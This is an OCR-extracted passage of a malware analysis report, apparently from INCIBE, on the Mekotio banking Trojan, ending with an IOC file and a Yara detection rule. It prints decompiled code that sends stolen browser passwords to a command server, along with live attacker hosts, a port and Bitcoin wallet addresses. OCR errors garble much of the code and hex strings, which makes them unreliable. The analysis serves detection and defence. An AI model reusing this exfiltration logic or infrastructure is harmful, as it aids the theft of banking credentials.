que los datos sean los
siguientes:

629E5B83BB77DE1773954152E3163BE218BF8CC265B657FF3B97569A4092A
538E11406

Ingrese el cédigo de
confirmacion.

D52C30CD6BE2051A2DC95E89AA61954CE369CF30C119379A9D34F736

C:\WINDOWS\system3
2\hal.dll

47A141F579E80F052FDDG5AES4FB7F938CC4628E9F3D3D57F4759E53C23C
DB72A7A99BC96FD054FD56F27DEAG3CF5884E9055DFF6F97A94A8A888F

MusAERGfaH8S|BVKpl
ZDn31JNTb7LOioF6Uq
z4xhel0k52vXdcm9gPrt

QC

3A48E618C961F2011CC86EEG1ACB628DA93131

Chrome_WidgetWin_1

ECOF28E3033991A1BC6B9ACDGBA7ABSEEDS99F

MozillawindowClass

314FC248F40059ED

IEFrame

135AFB2ADE0548FA29C36383BASB8CBD63EA0244ED043FSBABA1BDEL6C2D
14788BEG6F9A34CD7984E0729240

\Software\Microsoft\Inte
rnet Explorer\Main

E6092ACEA0B014D50717CF043DE71AC8

Use FormSuggest

A2F964FF01BB65987A82DA65F8CAFC16D87B91CCS51EA554D4042EA9BF6B9
54582B16389

3142E71BC64CF50E31DBOCB38590B06287C665E50749 FormSuggest
Passwords

F5092EE1010243F925C778DF56E37ADCACS7AL FormSuggest PW Ask

FF69EA1BCF12BD4CFA2DCA2BC2639442E76F86C8688CB81ED771BF61F50 |\Software\Microsofwin

dows\CurrentVersion\Ex
plorer\AutoComplete

F4032EE31D26AF44EF18C80E AutoSuggest
2BAA5A8CB973E806361B0941F8 taskkill /im
3FB1729248FB28197AA081 Erase "%s"

047888E9012FAC73A38EF32ACBA8899654F03361DF

If exist "%s" Goto 1

D8659846FD33945A898EA935F722C4609E3FFD43FAG649B32F45FEC123F915

winmgmts:\localhost\ro

7FE2EE6245E973FE279DB47 ot\SecurityCenter2
AOC65AE763F071C2A88588E96FF95BDA1BB772FA29A853FF0541E71EDBOC | SELECT * FROM
DO AntiVirusProduct

6781829BA6A4E242D17AAF152CDB758482F2145AE7

MSXML2.ServerXMLHT
TP

E81FD50225C51BDD16C564FB3DEA4AE81C042BBE7CD279D5

Administrador de tareas

FE639A48E2044F91F5072BAD4F2A36D1124BE175AA

Windows Task Manager

96DC1AC178B92FF21C35C1182DDA0B38F5648BD560FA24B174DD06303B83
A52FD2053DAA448F528AC9718C963AFD30D57DA929B0A04BFO097AA15288
A7E619C877A5509D429545BB69E11EB74A

Software\Microsoft\Win
dows\CurrentVersion\Ex
plorer\FileExts\.htm\Us
erChoice
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81E11CC06399CC72A04F8BD1163F Shell_Traywnd
Software\Microsoft\Win
dows\CurrentVersion\R
un
A938F319093884BA9ESOAOF331E00333F52E cmd.exe /c start

5EF33EF32A3255D70435EB6282BD62925585ABEB2EAQ59F43F84E142ED6G98 | http://htserverths.westu
8CAB98EBA12144C973C9E4D3ADA7FBBBOA520D976DE153AEA194BE71603 | s2.cloudapp.azure.com/

BF26C36B915FF434DD7787C371A6578CA928CF1E38924C89AD13D17CF75E
80C56D9F509F51FA3F9939EEOA1BAS43

78 ?oriudfjdfij88
51F10D31E61A4825DCOFC20A39E50635C8CEG1E21D sicweb.servegame.com
848D9083F7 4926
ABE84B3E253ABD51C0OAO8ESDE952C3B3 744-GOD3--02-02
E5120815242152F70F122745DD62EF73 ALLUSERSPROFILE
6CD616C56485C86FCBB1A2 Windows 10
E76A85B2599E22C6A297 Windows 8
9031F420C76AFB7CEE1EC905 sqlite3.dll

The following list stores all the affected banks with their encoded code, in this sample:
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Coded banking institutions

68FF34EBO33ES85

DCOA3DEA18D70D21D0

86DC6893BA7TEEBOD36E4

E27382AA6D98CE63954CF255
22B145F218DDOB3EDBOD31AE4ADF524D7
61E3042CC175EB1EC46B9ACEG888BA

5AFF3FEOO0C2CA35A89

0056ED23C665FE3FEQ19
8EC470985F96CF6D90B460EA063DF113D006
3E9257FF27C31FDO7EBD60F033DD10
6AE61FC5768FC47C99B364

24B24EF01C28BD7FAES598F
EC7A8DBA6887C17AAAS0FAS9EB1EDO70B1
479CAB5BF00451E614CA7CEEOB2BD5718FC070E7174AE66C82D112
9E34C373985EE514C6769430C26D9E42E7
7CD61FD50821A051FB3DDD7FB55E91B076
70E71FCC7E89DA143DED21A046F11A3BCEO839A85A8EA23FFBSF
4881B4568BAB39F626D608B343E31239CC78
2DBA4AF913D47688A85F8BDCA7AADG289BCO83E83A52A
BE14D77CAE4882BD639C41955F
DAO8S3FEC1629A34BF42ACEOD2CCB6C9C528BA320C5063E9A
F16C88BC6384D36694B86BEE37DDOB36FB599F
5582B56586A333C876AF568AA0
75DD699645F06B9C46F51AB5
065DE81637F06286BE6D9231C26A
OE45F01ECF69E81DC477AA27CD0224D6
DA7B88B66598CD6380A34C9C53F927CA7CDO

FO669F48E504

27BCA48F715D2082FD40729A6
8FC4709FADEA79B85E9C4582B36692B277
AA21D90F3AFA5D9142E90845E615C26C9DC663E9065E80CF67EF
489F5784A94F85A442EB12B64CFE
FB5A95B96780D6699C47EAGE
5EE4183AE21EB673924FFF5195

EE6DB75883B014D271AE
5C8BBA68975BF436E11FD7778EB2648FA722
1CBC48EB0327AC7192B96BE8SOF35E6162AB374
B928DF0835FES0E61339E86387A95185
5EF431D7728D36C46897429650F91EC267
30A64FF5142BAB4AFB3DF16486A95D
4198AF53FA3F84AA5489BB1CC66D98BB70DA
9730C9799052F60B2AC26CFC3FE012
3693A25486B929CD7EAAS3F63CEA1B38F36186D90C42FD5A99CC6E81AF11
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E17184B351EC6FB05289BA1C
8ACD6BAO5E96C36180A250F7
3F9D5AFF23DA738CB56994CE123ADD0725AD71
D57C8BB8639235CA74AB5FEQ
D10134E3092EAF4ACFE3EE0629D48F928
1440F417CB79EEOCC4
DBOB3AES0324B2709D43F4

ED649D43FD24

Once the “CreateForm” function begins, it stores the encrypted strings in global variables
to be used later in the Timers. It continues obtaining the name of the machine and the path
of the system variable “ALLUSERSPROFILE”; once it has obtained it, it stores both in an
internal structure.

Ustrazig(
&c2c_1,
L"SEF33EF32A3255070435EB6252BD62925585ABEB2EAR59F43FB4E142EDR958CAG98EBAL2144C973C9E4D3ADATFEEBOAS20D976DELS3AEALS4BETLRR378");
UstrAsig(&c2c_domian, L"S1F1@D31E6LA4825DCAFC2BA39ES@635CBCERLE2ID");// sicweb.servegame. com
UstrAsig(&c2c_port, L"848D9883F7"); // 4926
UstrAsig(&mal_version, L"AGEB4B3E253ABDS1CAAGBESDESS2C3B3");// 744-GOD3--02-82
TimeToProcessMessages(qword_27FFBGE@, 189u);
rand_str(var_, &varsl78 + 1, 13);
UstrAsig(&rand_str_value, *(&vars173 + 1));
ComputerName(var_, &varsl78);
UstrAsig(&machine_name, vars17&);
*off_276E688 = 1;

"E5128815242152F7@F122745DD62EF73");// ALLUSERSPROFILE
ustrFromLStr(&vars158 + 8, varsled);

ExpandvVar(var_, &vars16s + 8, *(&varslSs + 1));

uUstrCat3(&qword_27FFCEB, *(&vars168 + 1), gqword_26C2F68);

llustration 17. First stage of the “CreateForm” function.

It then continues with obtaining the operating system, with which it attempts to identify
whether a version of “Windows 10” or “Windows 8” is being used, in which case it assigns
a value of “5” to a global variable; otherwise, the variable will have a value of “1”.

GetOsSInfo(&winle_str + 8);
TimeToProcessMessages(qword_27FFB6@, @x64u);
dword_27FFBE® = 1;
DecodeStr(&winle str, "6CD616C56485CB6FCEBBLA2");// windows 18
UstrFromLStr(&vars138, winld_str);
if ( Pos(vars138, qword_28@00048, 1isd) > @ )

dword_27FFBE@ = 5;
DecodeStr(&wind_str, "E7GABSB2599E22C6A297"); // windows 8
UstrFromLStr(&vars128, wind_str);
if ( Pos(vars128, gqword_28@08048, 1isd) > @ )

dword_27FFBE@ = 5;

llustration 18. Second stage of the “CreateForm” function.

It then checks for the existence of the “god.doc” file, then it eliminates the suggestions for
auto-filling the web forms; to do this, it uses the registry keys:
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sub_229709@ (v
Sleep 1(@x1F4u);

DecodeStr(&varsE3 + 8, "135AFB2ADE@S4BFA29(36383BA5B8CBD63EAR244EDBA3FBABAIBDELGC2D14783BE6FOA34CD7I84E0720248");// \Software\Microsoft\Internet Explorer\Main
UstrFromLStr(&varsBs, *(&varsBs + 1));

if ( sub_2297FAB(varsDs, varsB3, @) )

e e oy e gy

, -2147483647i64);

DecodeStr (&var
UstrFromLstr (&
DecodeStr (&var
UstrFromLstr (&
RegSetValue(va
DecodeStr (&var
UStrFromLStr(&va
DecodeStr (&var
UstrFromLStr (&
RegSetValue(va
DecodeStr(&var
UstrFromLStr(&va
DecodeStr(&var
UstrFromLStr (&
RegsetValue(vars

"E6B92ACEABBA14D58717CFA43DETIACE");// Use FormSuggest
varsBe);
" /f o

/f Mo

/f Wo

DecodeStr(
&varssa,
"FFEIEALIBCF12BDACFAZDCAZBC2639442E76FB6C8688CBB1ED771BF61FSRA2FI64FF@1BBE5987AB2DA65FBCAFC16D87B91CC51EASS4D4R42EASBFEBI54582B16389");
UStrFromlStr(&varsas, vars58);
if ( sub_2297FAB(varsDE, vars4d, @) )

DecodeStr (&vars4s
UstrFromLstr(&
DecodeStr (&var
UstrFromLstr(&
RegSetValue(va

"F4B32EE31D26AF44EFISCE0E");// AutoSuggest
vars4e);

// Mo

llustration 19. Function responsible for disabling the suggestions on the forms.

To continue with the flow of the program, the code attempts to stop all the processes that
coincide with any of the following names:

®m jexplorer.exe.
m firefox.exe.
B msedge.exe.
B oOpera.exe.

Once all the matching processes have ended, a search is made to establish whether there
is a file in the “ALLUSERSPROFILE” path whose name is the current date in “MM-YYYY”
format and with a “txt” extension. If it exists, the file is sent to the command-and-control
server with a POST request.
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sub. 29F2?CB(& ars1l18, L"operatien=incluirainciso&™);
DecodeStr(&varsFE + 8, "DS1B3834"); /] US=
UstrFromLstr(&varsFs, *(&varsFd + 1));

vars28 = Sdword_26BDA14;

UstrlatN(&vars1ls, 4i54, varsllad, varsFg, machine_name);
DecodeStr(&var + 8, "1152C1BF"}); /il VE=
UstrFromLstr(&varsEs, *(&varsEd + 1));
LstrFromUStr(&varsDs, mal_version, @i64);
DecodeStr(&varsDa + 8, wvarsDa);

UstrFromLStr(&varsCs + B, *(&varsDE + 1});

vars28 = &dword_26BDA14;

UstrCatN(&vars118, 4i64, varslls, varsEd, *(&varsCs + 1));
DecodeStr{&varsC3, "A4CEACCE™)Y; // 05=
UstrFromLStr(&varsCe, varsCa);
Get0SInfo(&varsEe + 8);

UstrFromLStr(&varsEe, qword_ 27FFBF@);

vars28 = &dword_26BDAS4;

vars3@ = varsBa;

vars38 = &dword_26BDA14;

UstrCatN(&vars118, 6i64, varslls, varsCe, *(&varsBe + 1));
DecodeStr(&varsA@ + B, "629DB4B@"); // FE=
UstrFromLStr(&varsAg, *(&varsA8 + 1));

vars28 = &dword_26BDAl4;

UstrCatN(&vars118, 4i64, varslls, varsAB, rand_str_value);
DecodeStr(&vars98 + 8, "DBLC3E3A"); // PL=
UstrFromLStr(&varsoe, *(&vars2e + 1));
sub_26BE3A@(gword_27FFBe@, &varss2 + 8);

vars28 = &dword_26BDA14;
UstrlatN(&vars113, 4154
Decodestr(&var "3543CF4C");
UstrFromLStr(&y 78 + B, varsse
UstrFromLStr(&vars7e, gqword_27FFBF8);
UstrCatN(&vars 3i64, varsllsd, *(&vars7@ + 1), vars7@);

Decodestr(&var "6781829BAGA4E242D17AAFLS2CDB758482F2145AE7");// MSXML2 . Server XMLHTTP
UstrFromLStr(&y 58, vars6e);

sub_22C8768(Rvarsel + 8, vars5a);

sub_213F398(&pv

vars9@, *(&varsse + 1));
/4 A=

DecodeStr(&var
vars2e = *(&
LOWORD(vars 28
sub, 213?ACO(0154 &p rarg, Bbyte 26BDAD7, L"POST", *(&vars4s + 1), vars23);

vars2@ = L"Mozilla/4.8 (compatible;MSIE 6.8; Nlndows NT 5.8";

sub_2137AC@(@i64, &pvarg, &byte 26BDAFA, L"User-Agent™, L"Mozilla/4.@ (compatible;MSIE 6.@8; Windows NT 5.8");
vars28 = L"application/x-www-form-urlenceoded”;

sub_2137ACe(@is4, &pvarg, &byte 26BDAFA, L"Content-type”, L"application/x-www-form-urlencoded™);
sub_2137ACe(@is4, &pvarg, &byte 26BDCIC, &varslls);

llustration 20. Creation of the POST request.

If it does not exist, the file is created and all the passwords stored in the databases of the
web browsers are exported to it. Finally, it activates the Timers and ends the function
responsible for creating the main form.

Among all the Timers that have been observed previously, one of them should be
highlighted,; it is identified as a “FinancialTimer”, which is responsible for stealing the bank
credentials, which is the main activity of this malicious code. To achieve this purpose, the
Timer obtains the URL address from the browser’s search bar, by accessing it through the
name of its internal class. It later convers a code-interpretable object and compares it the
previously-decrypted strings of the financial institutions. If the result is positive, it establishes
communication with the command-and-control server, sends the data and activates the rest
of the Timers so that the commands received can be interpreted.
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mowv rdx, cs:off_SAES4E
call sub_414BE@
nop
lea rcx, [rbptvar_s16A8)
lea rdx, a3a48e618c961f2 ; Chrome_WidgetWin_1
call DecodeStr
lea rcx, [rbptvar_s16E@]
mov rdx, [rbptvar_s164A8]
call @UstrFromLStr
ma [rbp+lParam], @
lea rcx, sub 9CDALE ; lpEnumFunc
lea rdx, [rbp+lParam] ; lParam
call Enumidindows
mowv rax, [rbp+lParam]
mov [rbp+var_sleDe], rax
cmp [rbpt+var_si16DB], @
jnz short loc_9CFB17
Iil
FIEE
lea rcx, [rbptvar s1638]
lea rdx, aEc@f28e3833991 ; MozillaWindowClass
call Decodestr
lea rcx, [rbptvar s16E@]
Mo rdx, [rbp+var_s1698]
call @UStrFromLStr
mow [rbp+lParam], @
lea rcx, sub_9CDAl® 3 lpEnumFunc
lea rdx, [rbp+lParam] ; lParam
call Enumidindows
Moy rax, [rbp+lParam]
mowv [rbp+var_sl6D@], rax

llustration 21. "FinancialTimer" first stage.

There is a great variety of commands to carry out actions of various types, from uploading
and downloading a file, until the device is restarted, and even uploading forms to extract
the victim’s credentials.

Other Timers to bear in mind are:

B “StartTimer”: it creates the persistence within the infected machine.

B “TaskManagerTimer”: it closes the “task manager” when it detects a new instance.

B “WarningTimer”: it is responsible for closing any window whose title contains the
word “Warning”.

®  “NetConfTimer”: it performs a DNS cache clean to ensure proper connection to the
dynamic domain. Moreover, it initiates the communication with the command server
and activates the rest of the corresponding Timers.

m  “ClipboardChangedTimer”: it continuously checks the clipboard content searching
for possible Bitcoins wallets and it replaces them with ones previously stored in the
malicious code and which are under the attackers’ control:

bc1q89el8m8shnnmepd6sny2hjy36xszpa8zdf3kmec.

0 Encrypted value:
BE142113CAS55BA739B9E4FB47EA35387A634F76EE9GE9L
3231AF4D948FF63F8546F21071BF1DD2379249ED.

1PSgjH2IwBd7WKZ5Y6HTZmQ5XzqR7rJLmA.
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o Encrypted value:
DD3ADC719657AB8E9C59D80E13CF5AF27AEB718B92DF00
68C817C66AF41FC13BC16BES.

4.4. Anti-detection and anti-reverse engineering
techniques

During the analysis of the sample, the use of a paid tool called VMProtect, which protects
against executions in virtualised environments or in code debuggers, has been identified.

In addition, code and string encryption and obfuscation routines have been detected.

4.5. Persistence

The following location is used by the malicious code to establish persistence:

‘ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
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5. Conclusion

After analysing the file, it was possible to verify the family to which it belongs and to extract
all its text strings with which its operation is configured, as well as to make it possible to
understand the nature of its behaviour. A Yara rule and an IOC have been provided to
prevent and/or locate other samples from this family.

As with other banking Trojans, Mekotio shares features with other malware of this class,
such as the fact it has a backdoor functionality, is programmed in Delphi and uses fake pop-
up windows.
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Appendix 1: Indicators of Compromise (I0C)

Below is an 10C rule prepared for detecting this specific sample:

<?xml version="1.0" encoding="us-ascii"?>

<ioc xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema" id="ff7917cd-7d2f-489e-aa03-c05500a248a7" last-
modified="2020-08-04T12:29:16" xmIns="http://schemas.mandiant.com/2010/ioc">

<short_description>Mekotio</short_description>
<authored_by>Incibe</authored_by>
<authored_date>2020-07-30T22:10:56</authored_date>
<links />
<definition>hay
<Indicator operator="OR" id="4e7451b1-7e75-4633-ae3c-9d14ed8bfb71">
<Indicatorltem id="0f98a13f-43dc-4018-b361-3b3eb986a34c" condition="is">
<Context document="Fileltem" search="Fileltem/Md5sum" type="mir" />
<Content type="md5">a5e3285f76d05ae20274cff6d7084fe3</Content>
</Indicatorltem>
<Indicatorltem id="464564ee-6f92-4944-be9f-c25d420e1051" condition="is">
<Context document="Fileltem" search="Fileltem/Shalsum" type="mir" />
<Content type="string">6b215c986b7a48d80a093e44edd76008a316cch6</Content>
</Indicatorltem>
<Indicatorltem id="f247a4b1-2061-440d-bbe9-983c8680dbd7" condition="is">
<Context document="Fileltem" search="Fileltem/Sha256sum" type="mir" />

<Content
type="string">9572a6e0d50bd67c35ch70653661719c6c8034254f55e4693cfbfafb2768c59c</Content>

</Indicatorltem>
<Indicator operator="AND" id="57b45b1b-6f69-4d45-8afa-dbOa5bdfe17d">
<Indicatorltem id="9ff95df6-1600-461f-9c3d-aa9ed76d99al" condition="contains">
<Context document="Fileltem" search="Fileltem/FileExtension" type="mir" />
<Content type="string">dlI</Content>
</Indicatorltem>
<Indicatorltem id="96d28795-c622-42d0-9b34-7b248938e1b4" condition="contains">
<Context document="Fileltem" search="Fileltem/PEInfo/Exports/ExportedFunctions/string" type="mir" />
<Content type="string">EQVIHXHNF89GP775AL0YG3TNO2EFCB8E3V</Content>
</Indicatorltem>
<Indicatorltem id="54253834-ac06-447e-93e0-888260473cd0" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />

<Content
type="string">48A543EE1E1C081EC87298CA6GE984D2BF2592ABF62F51240FA2DC7659A39094BF224DD7
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380DA15B5147DA041549F48E36791C71ED70021D9CD6D8AB15043EF14C16D83DC1COECAD90050EB7
9BC7EA43DE77EB692428EFAG669E23A35A8CB2122CF82265</Content>

</Indicatorltem>
<Indicatorltem id="f85bb008-fd17-47da-bafe-26dcbfe565fd" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />

<Content
type="string">5EF33EF32A3255D70435EB6282BD62925585ABEB2EA059F43F84E142ED6988CAG98EBAL
2144C973C9E4D3ADA7FBBB0OA520D976DE153AEA194BE7160378</Content>

</Indicatorltem>
<Indicatorltem id="8221d64b-a320-4c47-af43-5792b5fc5b65" condition="contains">
<Context document="Fileltem" search="Fileltem/StringList/string" type="mir" />
<Content type="string">51F10D31E61A4825DCOFC20A39E50635C8CE61E21D</Content>
</Indicatorltem>
</Indicator>
<Indicator operator="AND" id="ad79f216-b108-41df-8ca2-e127005f9161">
<Indicator operator="OR" id="32e122b5-7cdd-4dfb-bac7-4be2396ecc7b">
<Indicatorltem id="cde9e415-344e-4a85-9499-8c405f6765b1" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />

<Content type="string">Hola, Enviamos un codigo como simulacion de transaccion para validar y
sincronizar su dispositivo.</Content>

</Indicatorltem>
<Indicatorltem id="c457dc04-b3ea-4a4c-94b9-eefca95ced88" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />
<Content type="string">http://htserverths.westus2.cloudapp.azure.com/?oriudfjdfij88</Content>
</Indicatorltem>
<Indicatorltem id="34070b75-5188-468c-9748-272411db37c2" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />

<Content
type="string">MusAERGfaH8S|BVKplZDn31JINTb7LOioF6Uqz4xhelOk52vXdcm9gPrtQC</Content>

</Indicatorltem>

<Indicatorltem id="bbae2406-dbb9-40d1-b93c-c5d546ddfcce" condition="contains">
<Context document="Processltem" search="Processltem/StringList/string" type="mir" />
<Content type="string">744-GOD3--02-02</Content>

</Indicatorltem>

</Indicator>
</Indicator>
</Indicator>

</definition>

</ioc>
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Appendix 2: Yara rules

The following Yara rule was created exclusively to detect samples related to this campaign.

rule MekotioDLL64: MekotioFamily
{
meta:
description = "Mekotio DLL"
author = "Incibe"

version ="0.1"

strings:

$ep = {34 37 41 31 34 31 46 35 37 39 45 38 30 46 30 35 32 46 44 44 36 35 41 45 35 34 46 42 37 46 39
33 3843 43 34 36 32 38 45 39}

$f1 = {3545 46 33 33 45 46 33 32 41 33 32 3535 44 37 30 34 33 35 45 42 36 32 38 32 42 44 36 32 39
32 353538 354142 45 42 32}

$f2 = {41 36 45 38 34 42 33 45 32 35 33 41 42 44 35 31 43 30 41 30 38 45 38 44 45 39 35 32 43 33 42
33}

condition:

$ep and $f1 and $f2
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